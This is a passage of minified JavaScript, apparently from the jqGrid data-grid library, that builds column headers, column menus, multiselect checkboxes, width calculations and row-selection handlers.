Q.p.colFilters)if(Q.p.colFilters.hasOwnProperty(e)){var i=Q.p.colFilters[e];if(!Ye.isEmptyObject(i)){if(""===i.value1&&""===i.value2)break;0<r&&(t+=","),t=(t=t+('{"groupOp":"'+i.rule+'","rules":[')+('{"field":"'+e+'",'))+('"op":"'+i.oper1+'",'),i.value1+="",t+='"data":"'+i.value1.replace(/\\/g,"\\\\").replace(/\"/g,'\\"')+'"}',i.value2&&(t=(t+=',{"field":"'+e+'",')+'"op":"'+i.oper2+'",',i.value2+="",t+='"data":"'+i.value2.replace(/\\/g,"\\\\").replace(/\"/g,'\\"')+'"}'),t+="]",r++}}return t+="}",t=0===r?"":t},me=function(e,t){var e=Q.p.colModel[e],r=Q.p.groupingView;-1!==t?r.groupField.splice(t,1):r.groupField.push(e.name),Ye.jgrid.isFunction(Q.p.colMenuBeforeProcess)&&Q.p.colMenuBeforeProcess.call(Q,{module:"grouping",action:-1!==t?"ungroup":"group",column:e.name}),Ye(Q).jqGrid("groupingGroupBy",r.groupField),Q.p.frozenColumns&&(Ye(Q).jqGrid("destroyFrozenColumns"),Ye(Q).jqGrid("setFrozenColumns"))},ve=function(e,t){for(var r=[],i=Q.p.colModel.length,o=-1,a=Q.p.colModel,n=0;n<i;n++)a[n].frozen&&(o=n),r.push(n);r.splice(e,1),r.splice(o+(t?1:0),0,e),a[e].frozen=t,Ye.jgrid.isFunction(Q.p.colMenuBeforeProcess)&&Q.p.colMenuBeforeProcess.call(Q,{module:"freeze",action:t?"freeze":"unfreeze",column:a[e].name}),Ye(Q).jqGrid("destroyFrozenColumns"),Ye(Q).jqGrid("remapColumns",r,!0),Ye(Q).jqGrid("setFrozenColumns")},je=function(e,t,r,i,o){Q.p.colModel;var a=Ye.jgrid.styleUI[Q.p.styleUI||"jQueryUI"].common,n=Ye.jgrid.styleUI[Q.p.styleUI||"jQueryUI"].colmenu,l=Q.p.colMenuCustom[i].items,s='<ul id="col_menu" class="ui-search-menu ui-col-menu modal-content '+a.shadow+'" role="menu" tabindex="0" style="left:'+t+'px;">';l.forEach(e=>{e.icon||(e.icon=n.icon_new_item),"separator"==e.id?s+='<li class="ui-menu-item divider" role="separator"></li>':s+='<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="'+e.id+'"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+I+" "+e.icon+'"></span></td><td class="menu_text">'+e.title+"</td></tr></table></a></li>"}),s+="</ul>",Ye(r).append(s),Ye("#col_menu").addClass("ui-menu "+D.menu_widget),Ye.jgrid.isElementInViewport(Ye("#col_menu")[0])||Ye("#col_menu").css("left",-parseInt(Ye("#column_menu").innerWidth(),10)+"px"),Ye("#col_menu > li > a").on("click",function(e){var t=Ye(this).attr("data-value"),r=l.find(e=>e.id===t);r&&Ye.jgrid.isFunction(r.funcname)&&(r.funcname.call(Q,o),r.closeOnRun)&&Ye(this).remove()}).hover(function(){Ye(this).addClass(C)},function(){Ye(this).removeClass(C)})};for((Q.p.colMenu||Q.p.menubar)&&Ye("body").on("click",function(e){if(!Ye(e.target).closest("#column_menu").length)try{Ye("#column_menu").remove()}catch(e){}if(!Ye(e.target).closest(".ui-jqgrid-menubar").length)try{Ye("#"+Q.p.id+"_menubar").hide()}catch(e){}}),this.p.id=this.id,!0===Q.p.autowidth&&(a=Ye(r).parent().width(),i=Ye(window).width(),Q.p.width=3<i-a?a:i-1),-1===Ye.inArray(Q.p.multikey,["shiftKey","altKey","ctrlKey"])&&(Q.p.multikey=!1),Q.p.keyName=!1,e=0;e<Q.p.colModel.length;e++)R="string"==typeof Q.p.colModel[e].template?Ye.jgrid.isNull(Ye.jgrid.cmTemplate)||"object"!=typeof Ye.jgrid.cmTemplate[Q.p.colModel[e].template]?{}:Ye.jgrid.cmTemplate[Q.p.colModel[e].template]:Q.p.colModel[e].template,Q.p.colModel[e]=Ye.extend(!0,{},Q.p.cmTemplate,R||{},Q.p.colModel[e]),!1===Q.p.keyName&&!0===Q.p.colModel[e].key&&(Q.p.keyName=Q.p.colModel[e].name,Q.p.keyIndex=e);Q.p.sortorder=Q.p.sortorder.toLowerCase(),Ye.jgrid.cell_width=Ye.jgrid.cellWidth();var be=Ye("<table style='visibility:hidden'><tr class='jqgrow'><td>1</td></tr></table)").addClass(K($,"rowTable",!0,"ui-jqgrid-btable ui-common-table"));if(Ye(r).append(be),Q.p.cellLayout=Ye.jgrid.floatNum(Ye("td",be).css("padding-left"))+Ye.jgrid.floatNum(Ye("td",be).css("padding-right"),10)+1,Q.p.cellLayout<=0&&(Q.p.cellLayout=5),Ye(be).remove(),!null===Q.p.grouping&&(Q.p.scroll=!1,Q.p.rownumbers=!1,Q.p.treeGrid=!1,Q.p.gridview=!0),!0===this.p.treeGrid){try{Ye(this).jqGrid("setTreeGrid")}catch(e){}"local"!==Q.p.datatype?Q.p.localReader={id:"_id_"}:!1!==Q.p.keyName&&(Q.p.localReader={id:Q.p.keyName})}if(this.p.subGrid)try{Ye(Q).jqGrid("setSubGrid")}catch(e){}this.p.searchCols&&(this.p.colNames.unshift(Q.p.searchColOptions.colName),this.p.colModel.unshift({name:"sc",width:Q.p.searchColOptions.colWidth,sortable:!1,hidedlg:!0,search:!1,align:"left",fixed:!0,frozen:!0,colmenu:Q.p.searchColOptions.colmenu,classes:"jqgrid-searchcol",labelClasses:"jqgrid-searchcolumn",coloptions:{sorting:!1,columns:!1,filtering:!1,seraching:!1,grouping:!1,freeze:!1}})),this.p.multiselect&&(a=(a=Ye.jgrid.getRegional(Q,"defaults.selectAllLines"))||Ye.jgrid.regional.en.defaults.selectAllLines,this.p.colNames.unshift("<input role='checkbox' id='cb_"+this.p.id+"' class='cbox' type='checkbox' title='"+a+"'/>"),this.p.colModel.unshift({name:"cb",width:Ye.jgrid.cell_width?Q.p.multiselectWidth+Q.p.cellLayout:Q.p.multiselectWidth,sortable:!1,resizable:!1,hidedlg:!0,search:!1,align:"center",fixed:!0,frozen:!0,classes:"jqgrid-multibox",labelClasses:"jqgrid-multibox"})),this.p.rownumbers&&(this.p.colNames.unshift(""),this.p.colModel.unshift({name:"rn",width:Q.p.rownumWidth,sortable:!1,resizable:!1,hidedlg:!0,search:!1,align:"center",fixed:!0,frozen:!0,labelClasses:"jqgrid-rownumber"})),Q.p.xmlReader=Ye.extend(!0,{root:"rows",row:"row",page:"rows>page",total:"rows>total",records:"rows>records",repeatitems:!0,cell:"cell",id:"[id]",userdata:"userdata",subgrid:{root:"rows",row:"row",repeatitems:!0,cell:"cell"}},Q.p.xmlReader),Q.p.jsonReader=Ye.extend(!0,{root:"rows",page:"page",total:"total",records:"records",repeatitems:!0,cell:"cell",id:"id",userdata:"userdata",subgrid:{root:"rows",repeatitems:!0,cell:"cell"}},Q.p.jsonReader),Q.p.localReader=Ye.extend(!0,{root:"rows",page:"page",total:"total",records:"records",repeatitems:!1,cell:"cell",id:"id",userdata:"userdata",subgrid:{root:"rows",repeatitems:!0,cell:"cell"}},Q.p.localReader),Q.p.scroll&&(Q.p.pgbuttons=!1,Q.p.pginput=!1,Q.p.rowList=[]),Q.p.data.length&&(B(),ne());var ye,we,xe,p,c,_e,i,qe,Ce,o="<thead role='rowgroup'><tr class='ui-jqgrid-labels' role='row'>",Ie="",a="",n="";if(!0===Q.p.shrinkToFit&&!0===Q.p.forceFit)for(e=Q.p.colModel.length-1;0<=e;e--)if(!Q.p.colModel[e].hidden){Q.p.colModel[e].resizable=!1;break}if("horizontal"===Q.p.viewsortcols[1]?(a=" ui-i-asc",n=" ui-i-desc"):"single"===Q.p.viewsortcols[1]&&(a=" ui-single-sort-asc",Ie=" style='display:none'",Q.p.viewsortcols[0]=!(n=" ui-single-sort-desc")),ye=M?"class='ui-th-div-ie'":"",_e="<span class='s-ico' style='display:none'>",_e=(_e+="<span sort='asc' class='ui-grid-ico-sort ui-icon-asc"+a+" ui-sort-"+v+" "+j+" "+I+" "+K($,"icon_asc",!0)+"'"+Ie+" aria-label='empty'><span style='display:none'>empty</span></span>")+("<span sort='desc' class='ui-grid-ico-sort ui-icon-desc"+n+" ui-sort-"+v+" "+j+" "+I+" "+K($,"icon_desc",!0)+"'"+Ie+" aria-label='empty'><span style='display:none'>empty</span></span></span>"),Q.p.multiSort&&Q.p.sortname)for(F=Q.p.sortname.split(","),e=0;e<F.length;e++)O=Ye.jgrid.trim(F[e]).split(" "),F[e]=Ye.jgrid.trim(O[0]),G[e]=O[1]?Ye.jgrid.trim(O[1]):Q.p.sortorder||"asc";for(e=0;e<this.p.colNames.length;e++){var De=Q.p.headertitles?' title="'+(Q.p.colModel[e].tooltip||Ye.jgrid.stripHtml(Q.p.colNames[e]))+'"':"";(i=Q.p.colModel[e]).hasOwnProperty("colmenu")||(i.colmenu="rn"!==i.name&&"cb"!==i.name&&"subgrid"!==i.name),o+="<th id='"+Q.p.id+"_"+i.name+"' role='columnheader' scope='col' "+K($,"headerBox",!1,"ui-th-column ui-th-"+v+" "+(i.labelClasses||""))+De+">",De=i.index||i.name,o+="<div class='ui-th-div' id='jqgh_"+Q.p.id+"_"+i.name+"' "+ye+">"+Q.p.colNames[e],i.width?i.width=parseInt(i.width,10):i.width=Q.p.defaultColWidth,"boolean"!=typeof i.title&&(i.title=!0),i.lso="",De===Q.p.sortname&&(Q.p.lastsort=e),Q.p.multiSort&&-1!==(O=Ye.inArray(De,F))&&(i.lso=G[O]),o+=_e,Q.p.colMenu&&i.colmenu&&(o+="<a title='"+Ye.jgrid.getRegional(Q,"colmenu.hovermenu")+"' class='"+("ltr"===Q.p.direction?"colmenu":"colmenu-rtl")+"'><span class='colmenuspan "+I+" "+D.icon_menu+"'></span></a>"),o+="</div></th>"}o+="</tr></thead>",i=_e=null,Ye(this).append(o),Ye("thead tr",this).first().find("th").hover(function(){Ye(this).addClass(C)},function(){Ye(this).removeClass(C)}),this.p.multiselect&&(qe=[],Ye("#cb_"+Ye.jgrid.jqID(Q.p.id),this).on("click",function(){Q.p.preserveSelection||(Q.p.selarrrow=[]);var t=!0===Q.p.frozenColumns?Q.p.id+"_frozen":"";this.checked?(Ye(Q.rows).each(function(e){0<e&&(Ye(this).hasClass("ui-subgrid")||Ye(this).hasClass("jqgroup")||Ye(this).hasClass(j)||Ye(this).hasClass("jqfoot")||(Ye("#jqg_"+Ye.jgrid.jqID(Q.p.id)+"_"+Ye.jgrid.jqID(this.id))[Q.p.useProp?"prop":"attr"]("checked",!0),Ye(this).addClass(Y).attr("aria-selected","true"),Q.p.preserveSelection&&-1!==Q.p.selarrrow.indexOf(this.id)||Q.p.selarrrow.push(this.id),Q.p.selrow=this.id,t&&(Ye("#jqg_"+Ye.jgrid.jqID(Q.p.id)+"_"+Ye.jgrid.jqID(this.id),Q.grid.fbDiv)[Q.p.useProp?"prop":"attr"]("checked",!0),Ye("#"+Ye.jgrid.jqID(this.id),Q.grid.fbDiv).addClass(Y))))}),Ce=!0,qe=[]):(Ye(Q.rows).each(function(e){0<e&&(Ye(this).hasClass("ui-subgrid")||Ye(this).hasClass("jqgroup")||Ye(this).hasClass(j)||Ye(this).hasClass("jqfoot")||(Ye("#jqg_"+Ye.jgrid.jqID(Q.p.id)+"_"+Ye.jgrid.jqID(this.id))[Q.p.useProp?"prop":"attr"]("checked",!1),Ye(this).removeClass(Y).attr("aria-selected","false"),qe.push(this.id),Q.p.preserveSelection&&-1<(e=Q.p.selarrrow.indexOf(this.id))&&Q.p.selarrrow.splice(e,1),t&&(Ye("#jqg_"+Ye.jgrid.jqID(Q.p.id)+"_"+Ye.jgrid.jqID(this.id),Q.grid.fbDiv)[Q.p.useProp?"prop":"attr"]("checked",!1),Ye("#"+Ye.jgrid.jqID(this.id),Q.grid.fbDiv).removeClass(Y))))}),Q.p.selrow=null,Ce=!1),Ye(Q).triggerHandler("jqGridSelectAll",[Ce?Q.p.selarrrow:qe,Ce]),Ye.jgrid.isFunction(Q.p.onSelectAll)&&Q.p.onSelectAll.call(Q,Ce?Q.p.selarrrow:qe,Ce),Ye.jgrid.isFunction(Q.p.onMultiSelect)&&Q.p.onMultiSelect.call(Q,Q.p.selarrrow)}));var Fe,s,Ge,Se,ke="",Re="",a=-1!==Q.p.styleUI.search("Bootstrap")?2:0,d=0,u=Ye.jgrid.cell_width?0:J(Q.p.cellLayout,0),h=0,n=J(Q.p.scrollOffset,0),Ne=!1,g=0;if(Ye.each(Q.p.colModel,function(){var e;void 0===this.hidden&&(this.hidden=!1),Q.p.grouping&&Q.p.autowidth&&0<=(e=Ye.inArray(this.name,Q.p.groupingView.groupField))&&Q.p.groupingView.groupColumnShow.length>e&&(this.hidden=!Q.p.groupingView.groupColumnShow[e]),this.widthOrg=J(this.width,0),this.maxWidth&&J(this.width,0)>J(this.maxWidth,0)&&(this.width=this.maxWidth),s=J(this.width,0),!1===this.hidden&&(d+=s+u,this.fixed?g+=s+u:h++)}),isNaN(Q.p.width)&&(Q.p.width=d+(!1!==Q.p.shrinkToFit||isNaN(Q.p.height)?0:n)),x.width=parseInt(Q.p.width,10),Q.p.tblwidth=d,!1===Q.p.shrinkToFit&&!0===Q.p.forceFit&&(Q.p.forceFit=!1),!0===Q.p.shrinkToFit&&0<h){Ge=x.width-u*h-g,isNaN(Q.p.height)||(Ge-=n,Ne=!0);var d=0,Me=0,Oe=0,Ae=[],Te=0,f=(Ye.each(Q.p.colModel,function(e){!1!==this.hidden||this.fixed||(s=Math.round(Ge*this.width/(Q.p.tblwidth-u*h-g)),this.maxWidth&&s>this.maxWidth?(Me++,Oe+=s,this.width=this.maxWidth,Se=e):(this.width=s,Te+=s,Ae.push(e+"")),d+=this.width,Fe=e)}),d+=Oe,-1);if((Ve=0)<Me&&0<h){for(var Pe=0,Be=0;Be<Ae.length;Be++)f=parseInt(Ae[Be],10),Pe+=Math.round(Q.p.colModel[f].width*Oe/Te),Q.p.colModel[f].width=Q.p.colModel[f].width+Math.round(Q.p.colModel[f].width*Oe/Te);Pe!==Oe&&(Q.p.colModel[f].width+=Oe-Pe)}Ne?x.width-g-(d+u*h)!==n&&(Ve=x.width-g-(d+u*h)-n):0!==Math.abs(x.width-g-(d+u*h))&&(Ve=x.width-g-(d+u*h)-a),-1<f&&Fe===Se&&(Fe=f),Q.p.colModel[Fe].width+=Ve+-1,Q.p.tblwidth=d+Ve+u*h+g,Q.p.tblwidth>Q.p.width&&(Q.p.colModel[Fe].width-=Q.p.tblwidth-parseInt(Q.p.width,10),Q.p.tblwidth=Q.p.width)}be=-1!==Q.p.styleUI.search("Bootstrap"),Ye(r).css("width",x.width+"px").append("<div class='ui-jqgrid-resize-mark' id='rs_m"+Q.p.id+"'> </div>"),Q.p.scrollPopUp&&Ye(r).append("<div "+K($,"scrollBox",!1,"loading ui-scroll-popup")+" id='scroll_g"+Q.p.id+"'></div>"),Ye(t).css("width",x.width+"px"),o=Ye(Q).find("thead").first().get(0),Q.p.footerrow&&(ke+="<table role='presentation' style='width:"+Q.p.tblwidth+"px' "+K($,"footerTable",!1,"ui-jqgrid-ftable ui-common-table")+"><tbody><tr role='row' "+K($,"footerBox",!1,"footrow footrow-"+v)+">"),Q.p.headerrow&&(Re+="<table role='presentation' style='width:"+Q.p.tblwidth+"px' "+K($,"headerRowTable",!1,"ui-jqgrid-hrtable ui-common-table")+"><tbody><tr role='row' "+K($,"headerRowBox",!1,"hrheadrow hrheadrow-"+v)+">");var Ne=Ye(o).find("tr").first(),Ee="<tr class='jqgfirstrow "+("rtl"===Q.p.direction?"ui-row-rtl'":"'")+" role='row'>",ze=0,He=Ye.jgrid.getFont(Ye("th",Ne).first()[0]);if(Q.p.disableClick=!1,Ye("th",Ne).each(function(e){i=Q.p.colModel[e],we=i.width,void 0===i.resizable&&(i.resizable=!0),i.resizable?(xe=document.createElement("span"),Ye(xe).html(" ").addClass("ui-jqgrid-resize ui-jqgrid-resize-"+v).css("cursor","col-resize"),Ye(this).addClass(Q.p.resizeclass)):xe="",Ye(this).css("width",we+"px").prepend(xe),xe=null;var t="",r="",r=(i.hidden&&(Ye(this).css("display","none"),t="display:none;"),i.labelClasses&&(r="class='"+i.labelClasses+"'"),Ee+="<td "+r+" role='gridcell' style='height:0px;width:"+we+"px;"+t+"'></td>",x.headers[e]={width:we,el:this},"boolean"!=typeof(Ie=i.sortable)&&(i.sortable=!0,Ie=!0),i.name);"cb"!==r&&"subgrid"!==r&&"rn"!==r&&"sc"!==r&&Q.p.viewsortcols[2]&&Ye(">div",this).addClass("ui-jqgrid-sortable"),i.canvas_width=i.autosize_headers?Ye.jgrid.getTextWidth(Ye("div",this)[0].outerText,He)+(i.colmenu?Ye.jgrid.floatNum(Ye(".colmenuspan",this).parent().width()):0)+Ye.jgrid.floatNum(Ye("div",this).css("padding-left"))+Ye.jgrid.floatNum(Ye("div",this).css("padding-right"))+Ye.jgrid.floatNum(Ye(".ui-jqgrid-resize",this).width()):0,Ie&&(Q.p.multiSort?Q.p.viewsortcols[0]?(Ye("div span.s-ico",this).show(),i.lso&&Ye("div span.ui-icon-"+i.lso,this).removeClass(j).css("display","")):i.lso&&(Ye("div span.s-ico",this).show(),Ye("div span.ui-icon-"+i.lso,this).removeClass(j).css("display","")):Q.p.viewsortcols[0]?(Ye("div span.s-ico",this).show(),e===Q.p.lastsort&&Ye("div span.ui-icon-"+Q.p.sortorder,this).removeClass(j).css("display","")):e===Q.p.lastsort&&""!==Q.p.sortname&&(Ye("div span.s-ico",this).show(),Ye("div span.ui-icon-"+Q.p.sortorder,this).removeClass(j).css("display",""))),Q.p.footerrow&&(ke+="<td role='gridcell' "+l(e,0,"",null,"",!1)+"> </td>"),Q.p.headerrow&&(Re+="<td role='gridcell' "+l(e,0,"",null,"",!1)+"> </td>")}).mousedown(function(e){if(1===Ye(e.target).closest("th>span.ui-jqgrid-resize").length){var t,r=ue(this);if(e.preventDefault(),ze++,setTimeout(function(){ze=0},400),2!==ze)return!0===Q.p.forceFit&&(Q.p.nv=function(e){for(var t=e,r=e,i=e+1;i<Q.p.colModel.length;i++)if(!0!==Q.p.colModel[i].hidden){r=i;break}return r-t}(r)),x.dragStart(r,e,function(e){e=Ye(Q.grid.headers[e].el),e=[e.position().left+e.outerWidth()];return"rtl"===Q.p.direction&&(e[0]=Q.p.width-e[0]),e[0]-=Q.grid.bDiv.scrollLeft,e.push(Ye(Q.grid.hDiv).position().top),e.push(Ye(Q.grid.bDiv).offset().top-Ye(Q.grid.hDiv).offset().top+Ye(Q.grid.bDiv).height()),e}(r)),!1;try{!0===Q.p.colModel[r].autosize&&(t=Ye(Q).jqGrid("getCol",r,!1,"maxwidth"),Ye(Q).jqGrid("resizeColumn",r,t+(be?Q.p.cellLayout:0)).jqGrid("refreshGroupHeaders"))}catch(e){}finally{ze=0}}}).click(function(e){if(Q.p.disableClick)return Q.p.disableClick=!1;var t,r,i,o="th>div.ui-th-div",o=(Q.p.viewsortcols[2]||(o="th>div>span>span.ui-grid-ico-sort"),Ye(e.target).closest(o));if(1===o.length)if(i=Q.p.frozenColumns?(i=Ye(this)[0].id.substring(Q.p.id.length+1),Ye.jgrid.getElemByAttrVal(Q.p.colModel,"name",i,!0)):ue(this),Ye(e.target).hasClass("colmenuspan")){if(Ye.jgrid.isNull(Ye("#column_menu")[0])||Ye("#column_menu").remove(),void 0!==i){var a,n,l,s,d,p=Ye("#gbox_"+Q.p.id).offset(),p=Ye(this).offset().left-p.left,c=("ltr"===Q.p.direction&&(p+=Ye(this).outerWidth()),i),u=void 0,h=Ye(x.hDiv).height(),g=(Ye(".ui-search-toolbar",x.hDiv)[0]&&!isNaN(Ye(".ui-search-toolbar",x.hDiv).height())&&(h-=Ye(".ui-search-toolbar",x.hDiv).height()),Ye(x.cDiv).is(":hidden")||(h+=Ye(x.cDiv).outerHeight()),Q.p.toolbar[1]&&"bottom"!==Q.p.toolbar[2]&&!Ye.jgrid.isNull(Ye(x.uDiv),!0)&&(h+=Ye(x.uDiv).outerHeight()),Q.p.toppager&&(h+=Ye("#"+Ye.jgrid.jqID(Q.p.id)+"_toppager").outerHeight()),p=parseInt(p,10),u=h,""),f="",m=Q.p.colModel[c],v=Ye.extend({sorting:!0,columns:!0,filtering:!0,seraching:!0,grouping:!0,freeze:!0},m.coloptions),h=Ye.jgrid.styleUI[Q.p.styleUI||"jQueryUI"].common,j=Ye.jgrid.getRegional(Q,"colmenu"),b=Q.p.colNames[c],y=[],w=Ye.jgrid.trim(m.name);for(l in y.push(g),m.sortable&&v.sorting&&(g='<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="sortasc"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+I+" "+D.icon_sort_asc+'"></span></td><td class="menu_text">'+j.sortasc+"</td></tr></table></a></li>",g+='<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="sortdesc"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+I+" "+D.icon_sort_desc+'"></span></td><td class="menu_text">'+j.sortdesc+"</td></tr></table></a></li>",y.push(g)),v.columns&&(g='<li class="ui-menu-item divider" role="separator"></li>',g+='<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="columns"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+I+" "+D.icon_columns+'"></span></td><td class="menu_text">'+j.columns+"</td></tr></table></a></li>",y.push(g)),v.filtering&&(g='<li class="ui-menu-item divider" role="separator"></li>',g+='<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="filtering"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+I+" "+D.icon_filter+'"></span></td><td class="menu_text">'+j.filter+" "+b+"</td></tr></table></a></li>",y.push(g)),v.grouping&&(a=Ye.inArray(m.name,Q.p.groupingView.groupField),g='<li class="ui-menu-item divider" role="separator"></li>',g+='<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="grouping"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+I+" "+D.icon_group+'"></span></td><td class="menu_text">'+(-1!==a?j.ungrouping:j.grouping+" "+b)+"</td></tr></table></a></li>",y.push(g)),!v.freeze||Q.p.subGrid||Q.p.treeGrid||Q.p.cellEdit||(n=!m.frozen||!Q.p.frozenColumns,g='<li class="ui-menu-item divider" role="separator"></li>',g+='<li class="ui-menu-item" role="presentation"><a class="g-menu-item" tabindex="0" role="menuitem" data-value="freeze"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+I+" "+D.icon_freeze+'"></span></td><td class="menu_text">'+(n?j.freeze+" "+b:j.unfreeze)+"</td></tr></table></a></li>",y.push(g)),Q.p.colMenuCustom)Q.p.colMenuCustom.hasOwnProperty(l)&&(s=Q.p.colMenuCustom[l],Ye.jgrid.isFunction(Q.p.colMenuBeforeProcess)&&Q.p.colMenuBeforeProcess.call(Q,{module:"custom",action:s,column:s.colname}),Ye(Q).triggerHandler("jqGridcolMenuBeforeProcess",[{module:"custom",action:s,column:s.colname}]),d=s.exclude.split(","),d=Ye.map(d,function(e){return Ye.jgrid.trim(e)}),s.colname===w||"_all_"===s.colname&&-1===Ye.inArray(w,d))&&(d=s.items.length?"submenu":s.id,f='<li class="ui-menu-item divider" role="separator"></li>',g='<li class="ui-menu-item" role="presentation"><a id="'+s.id+'" class="g-menu-item" tabindex="0" role="menuitem" data-value="'+d+'"><table class="ui-common-table"><tr><td class="menu_icon"><span class="'+I+" "+s.icon+'"></span></td><td class="menu_text">'+s.title+"</td></tr></table></a></li>","last"===s.position?(s.separator&&y.push(f),y.push(g)):"first"===s.position&&(s.separator&&y.unshift(f),y.unshift(g)));y.unshift('<ul id="column_menu" role="menu" tabindex="0">'),y.push("</ul>"),Ye("#gbox_"+Q.p.id).append(y.join("")),Ye("#column_menu").addClass("ui-search-menu modal-content column-menu jqgrid-column-menu ui-menu "+h.shadow+" "+D.menu_widget).css({left:p,top:u}),"ltr"===Q.p.direction&&(b=Ye("#column_menu").width()+26,Ye("#column_menu").css("left",p-b+"px")),Ye("#column_menu > li > a").hover(function(){var e,t;Ye("#col_menu").remove(),Ye("#search_menu").remove(),"columns"===Ye(this).attr("data-value")&&(e=Ye(this).parent().width()+8,t=Ye(this).parent().position().top-5,he(t,e,Ye(this).parent(),v)),"filtering"===Ye(this).attr("data-value")&&(e=Ye(this).parent().width()+8,t=Ye(this).parent().position().top-5,ge(c,t,e,Ye(this).parent())),"submenu"===Ye(this).attr("data-value")&&(e=Ye(this).parent().width()+8,t=Ye(this).parent().position().top-5,je(t,e,Ye(this).parent(),Ye(this).attr("id"),w)),Ye(this).addClass(C)},function(){Ye(this).removeClass(C)}).click(function(){var e=Ye(this).attr("data-value"),t=Q.grid.headers[c].el;"sortasc"===e||"sortdesc"===e?(Ye.jgrid.isFunction(Q.p.colMenuBeforeProcess)&&Q.p.colMenuBeforeProcess.call(Q,{module:"sorting",action:"sortasc"===e?"asc":"desc",column:m.name}),ce("jqgh_"+Q.p.id+"_"+m.name,c,!0,"sortasc"===e?"asc":"desc",t)):"grouping"===e?me(c,a):"freeze"===e&&ve(c,n),"grouping"!==e&&"freeze"!==e||Ye(this).remove(),Q.p.colMenuCustom.hasOwnProperty(e)&&(t=Q.p.colMenuCustom[e],Ye.jgrid.isFunction(t.funcname))&&(t.funcname.call(Q,w),t.closeOnRun)&&Ye(this).remove()}),parseFloat(Ye("#column_menu").css("left"))<0&&Ye("#column_menu").css("left",Ye(Q).css("left")),!0===Q.p.menubar&&Ye("#"+Q.p.id+"_menubar").hide(),e.stopPropagation()}}else Q.p.viewsortcols[2]||(t=!0,r=o.attr("sort")),Ye.jgrid.isNull(i)||ce(Ye("div",this)[0].id,i,t,r,this),void 0!==Q.p.selHeadInd&&Ye(x.headers[Q.p.selHeadInd].el).attr("tabindex","-1"),Q.p.selHeadInd=i,Ye(this).attr("tabindex","0")}),i=null,jQuery._cacheCanvas=null,Q.p.sortable&&Ye.fn.sortable)try{Ye(Q).jqGrid("sortableColumns",Ne)}catch(e){}Q.p.footerrow&&(ke+="</tr></tbody></table>"),Q.p.headerrow&&(Re+="</tr></tbody></table>"),Ee+="</tr>",n=document.createElement("tbody"),Ye(n).attr({role:"rowgroup"}),this.appendChild(n),Ye(this).addClass(K($,"rowTable",!0,"ui-jqgrid-btable ui-common-table")).append(Ee),Q.p.altRows&&Ye(this).addClass(K($,"stripedTable",!0,""));var m,_,Ue,Le,Ee=null,Ve=Ye("<table "+K($,"headerTable",!1,"ui-jqgrid-htable ui-common-table")+" style='width:"+Q.p.tblwidth+"px' role='grid' aria-labelledby='gbox_"+this.id+"'></table>").append(o),q=!(!Q.p.caption||!0!==Q.p.hiddengrid),t=Ye("<div class='ui-jqgrid-hbox"+("rtl"===v?"-rtl":"")+"'></div>"),o=null,We=(x.hDiv=document.createElement("div"),x.hDiv.style.width=x.width-a+"px",x.hDiv.className=K($,"headerDiv",!0,"ui-jqgrid-hdiv"),Ye(x.hDiv).append(t),Ye(t).append(Ve),q&&Ye(x.hDiv).hide(),Q.p.pager&&("string"==typeof Q.p.pager?"#"===Q.p.pager.slice(0,1)&&(Q.p.pager=Q.p.pager.substring(1)):Q.p.pager=Ye(Q.p.pager).attr("id"),Ye("#"+Ye.jgrid.jqID(Q.p.pager)).css({width:x.width-a+"px"}).addClass(K($,"pagerBox",!0,"ui-jqgrid-pager")).appendTo(r),q&&Ye("#"+Ye.jgrid.jqID(Q.p.pager)).hide(),de(Q.p.pager,""),Q.p.pager="#"+Ye.jgrid.jqID(Q.p.pager)),!1===Q.p.cellEdit&&!0===Q.p.hoverrows&&Ye(Q).on({mouseover:function(e){c=Ye(e.target).closest("tr.jqgrow"),"ui-subgrid"!==Ye(c).attr("class")&&Ye(c).addClass(C)},mouseout:function(e){c=Ye(e.target).closest("tr.jqgrow"),Ye(c).removeClass(C)}}),Ye(Q).before(x.hDiv).on({click:function(e){if(p=e.target,c=Ye(p,Q.rows).closest("tr.jqgrow"),0===Ye(c).length||-1<c[0].className.indexOf(j)||(Ye(p,Q).closest("table.ui-jqgrid-btable").attr("id")||"").replace("_frozen","")!==Q.id)return this;var t,r,i,o,a,n,l,s=Ye(p).filter(":enabled").hasClass("cbox"),d=!1!==(d=Ye(Q).triggerHandler("jqGridBeforeSelectRow",[c[0].id,e]))&&"stop"!==d;if(!Ye.jgrid.isFunction(Q.p.beforeSelectRow)||!1!==(l=Q.p.beforeSelectRow.call(Q,c[0].id,e))&&"stop"!==l||(d=!1),s&&!1===d&&Ye(e.target).prop("checked",!Ye(e.target).prop("checked")),"A"!==p.tagName&&("INPUT"!==p.tagName&&"TEXTAREA"!==p.tagName&&"OPTION"!==p.tagName&&"SELECT"!==p.tagName||s||"INPUT"===p.tagName&&p.id.startsWith("jqs_"+Q.p.id)))if(m=c[0].id,0<(p=Ye(p).closest("tr.jqgrow>td")).length&&(_=Ye.jgrid.getCellIndex(p)),!0!==Q.p.cellEdit||Q.p.ariaBody){if(0<p.length&&(Ue=Ye(p).closest("td,th").html(),Ye(Q).triggerHandler("jqGridCellSelect",[m,_,Ue,e]),Ye.jgrid.isFunction(Q.p.onCellSelect))&&Q.p.onCellSelect.call(Q,m,_,Ue,e),d)if(Q.p.multimail&&Q.p.multiselect){if(e.shiftKey){if(s)return 